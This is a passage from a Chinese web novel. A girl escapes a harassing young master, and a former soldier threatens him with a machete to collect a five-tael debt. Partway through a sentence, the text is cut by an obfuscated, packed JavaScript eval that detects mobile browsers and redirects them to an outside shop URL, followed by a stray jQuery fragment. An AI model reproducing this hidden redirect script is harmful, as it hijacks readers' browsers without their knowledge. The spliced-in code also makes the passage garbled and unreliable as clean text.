他毫无防备之下被忽然袭击，一时没反应过来，两个跟班也没想到，等眼前恢复后，低头一瞧才发现砸他的是引线另一只手腕上的篮子。 再抬头，此刻她已经一瘸一拐地往人多的街面上跑去，而篮子里剩余的枣糕笼饼撒了一地，有两个还落在他怀里。 在他看来，这个举动不伤人，却羞辱人。 “臭婊子！”姚少爷脸色顿时阴沉，根本顾不得刚才说的低调，咬着牙，指着引线的背影气急败坏吼道：“去把她给我捉来！” 两个跟班顾不得扶他，生怕闹大了，只照他说的去抓人。 这里拐角处出去就是街面了，她方才想过，对方偷偷出门，走的不是正门是侧门，避开人多的地方，为的就是不惹人注意，自己要是能跑到人多的地方去，他就算再霸道也该收敛些。 退一步说，若是不收敛，至少也能争取一些逃跑的时间。 因而想也不想将余下的糕饼连同篮子砸了过去。 可脚上的疼干站着还不觉得，这样一走动，只感觉脚踝处剜心的疼袭来，几乎让她浑身冷汗瞬间冒出来，差一点栽倒在地。 好在凭借撑着一口气，拖着腿跑出了十几步外就到了外街，却再也撑不住脚上的疼摔在了地上。 这里人不多，但来来往往也热闹，忽然见有个小娘子如此狼狈地冲出来，顿时都好奇地驻足查看怎么回事。 引线没立刻松懈下来，反倒是紧张地回头去看，两名跟班几乎是前后脚到了跟前。 旁边的一些人原本好奇，却有人认出了那两人是正元镖局里的镖师，互相低声交谈几句，谁也不敢再看热闹，急急忙忙散开了。 此情此景，引线绝望地咬碎了一口牙。却暗思一番，她虽说是乡下姑娘，可也是好人家的女儿，要是就这么被拖走玷污，她就算死也要拉个垫背的！ 这样想着，等着噩梦降临。 可谁知巷子里传来一声惊叫，两名跟班一愣，都听出是姚少爷的声音。 在他的安危面前，一个小娘子算得了什么，二人几乎是毫不犹豫掉头急急忙忙赶回去，就这么放过了引线。 引线这才大大地松了一口气，贴身的衣裳都湿透了。 而巷子里，姚少爷坐在地上，却一动也不敢动，两个跟班看了更是吓得不敢靠近。 只因一把冷冰冰的柴刀抵在姚少爷的裆处，一副铡刀的模样。 持着柴刀的是个年轻人，蹲着也比姚少爷身形大了不止一圈，不知站起来是如何高壮，然而模样却清秀，面上带着淡淡的笑：“姚少爷，你可让他们俩别动，要是动了惊到我，我可不保证手里的柴刀不乱动。”他意有所指，“听闻姚少东家最喜女色，又还未娶妻生子，若是这儿出问题了，只怕你这辈子都要后悔莫及。” 这话一出，原本打眼色想偷偷溜过来的其中一人顿时一僵，姚少爷更是连忙挥手：“别过来别过来！” “好汉，你到底要什么，我家就是镖局，很有钱，你想要多少都行。”姚少爷怕激怒他，只好旁敲侧击，“不知是哪里得罪了你？若是无意，还请好汉饶过我！” “你别管我是谁，你只需晓得前几日在你家合伙的晖楼送过一头活鹿，但当时说好了十两钱，没想到鹿肉吃了后，掌柜不认账了，非说是死了的，只给我一半的酬劳。”陈江脸上没了笑，“所以我就来请少东家帮我将这五两补上。” 就为了五两银子？姚少爷只觉得好笑，却因柴刀横亘在自己最在意的地方，根本不敢冷笑出声，甚至连个微笑都极为难才露出来。 他今日是倒了八辈子霉了！先是遇到个不识抬举的丫头用那等低劣的竹篮子和糕饼砸他，这会儿又被来人威胁，你说要钱就要钱吧，偏偏他还只要五两银…… 他去春月阁给姑娘打茶围一回都不止这个数，这会被劫持了对方张口就只为了五两银子，他气得嘴角抽抽了两下。 他连忙开口保命：“好汉，晖楼占你的便宜是他们不对，但既然你找到我了，我给你添补上也不是问题，别说五两，就是百两千两我都干！” 他想激起对方的贪欲，一千两，那可是一千两！若真有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587447|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个机会能轻松得了这么多钱，他不信对方不心动！ 只要他犹豫或是点头，他就能拖延时间，让手底下两人去通风报信。 谁知跟班之一的赵堰立刻嚷嚷起来：“我家镖局就在隔壁，你信不信我吼一嗓子整个镖局都能听见？” “我信，我当然信。”陈江笑道，手上的刀口随着他说话时慢慢往下压，“但我讨要的是我应有的钱，不是我的我不要，因而不存在威胁，只是讨要的手法有些粗鲁而已。我也晓得令尊和梁县令是什么关系，若到时候要屈打成招公报私仇，我也不介意拼个你死我活告上州府衙门去，到时看你们倒霉还是我去坐大牢。” “别别别！”似乎已经感受到那柴刀贴了上来，姚少爷已经魂都吓飞了，斥责赵堰两人，“你们两个别说了！是死人吗？不就五两银子，快给他给他！” 赵堰也不敢再有动作，只好从腰间解下钱袋，摸了一块足两的银子就要送上去。 “丢给我。”陈江呵斥住他，“你要是过来……” “别过来别过来！”姚少爷成了只会重复说话的嘴巴，厉声呵斥赵堰二人。 赵堰只好将银子抛过去。 陈江拿到银子，也不着急走，姚少爷也不敢催促，只问：“好汉，还有什么吩咐？” 陈江道：“方才瞧你在这调戏良家小娘子，今日也算是被我撞见了，你以后若是再招惹良家子，我还会来找你的，到时候就不是这么简单了。” 姚少爷点头如捣蒜，看着那柴刀一点点挪开，心里松了口气的同时正要使眼色给赵堰二人，却忽然感觉脖子上一疼，他唉哟一声，什么也不知道就眼前一黑晕了过去。 赵堰二人大喊少爷，也就管不了逃跑的陈江了。 陈江步子大，跑起来跟一阵风似的，江宁县他不熟悉，但好在街巷多，这里离石虎郑大山他们也不远，确信没人跟着后，他才拐入一条狭窄的巷子，与二人很快汇合。 郑大山的娘因他分得的二两半救命钱续上汤药好了很多，石虎那穷困多年的婶娘也不用到处去借米了，两人都解决了当下的困难，可陈江却独自一人惹上了这等麻烦，两人都过意不去。 “江二哥，那姓姚的和梁县令勾结，肯定不会善罢甘休，”郑大山担忧道，“要是他查你，找你麻烦怎么办？” “对啊，这姚家平日里就横行霸道，江宁县无人敢惹，他爹要是一心要将此事闹大，肯定还有后招。”一向不多话的石虎也同样担心。 陈江吃了口井水，才平复了喘息，浑然不在意：“不怕，其一我从军七八年才回来不到一月，属于生面孔，他们为了五两银子费劲来查我不值当。其二，我此去要的是我该得的酬银，他们就是闹进衙门也不占理。其三，我不似你们住在城里不便，今日一事后我就回乡下，在山里躲一躲，到时我猎到的东西交由我大哥带来换钱，或是直接在乡下转手，总之不引人注意。” 到时时间一久，姚少爷再大的仇怨，找不到人，也就不了了之了。 “也只好如此了。”郑大山点头道，脸上却依然有忧虑。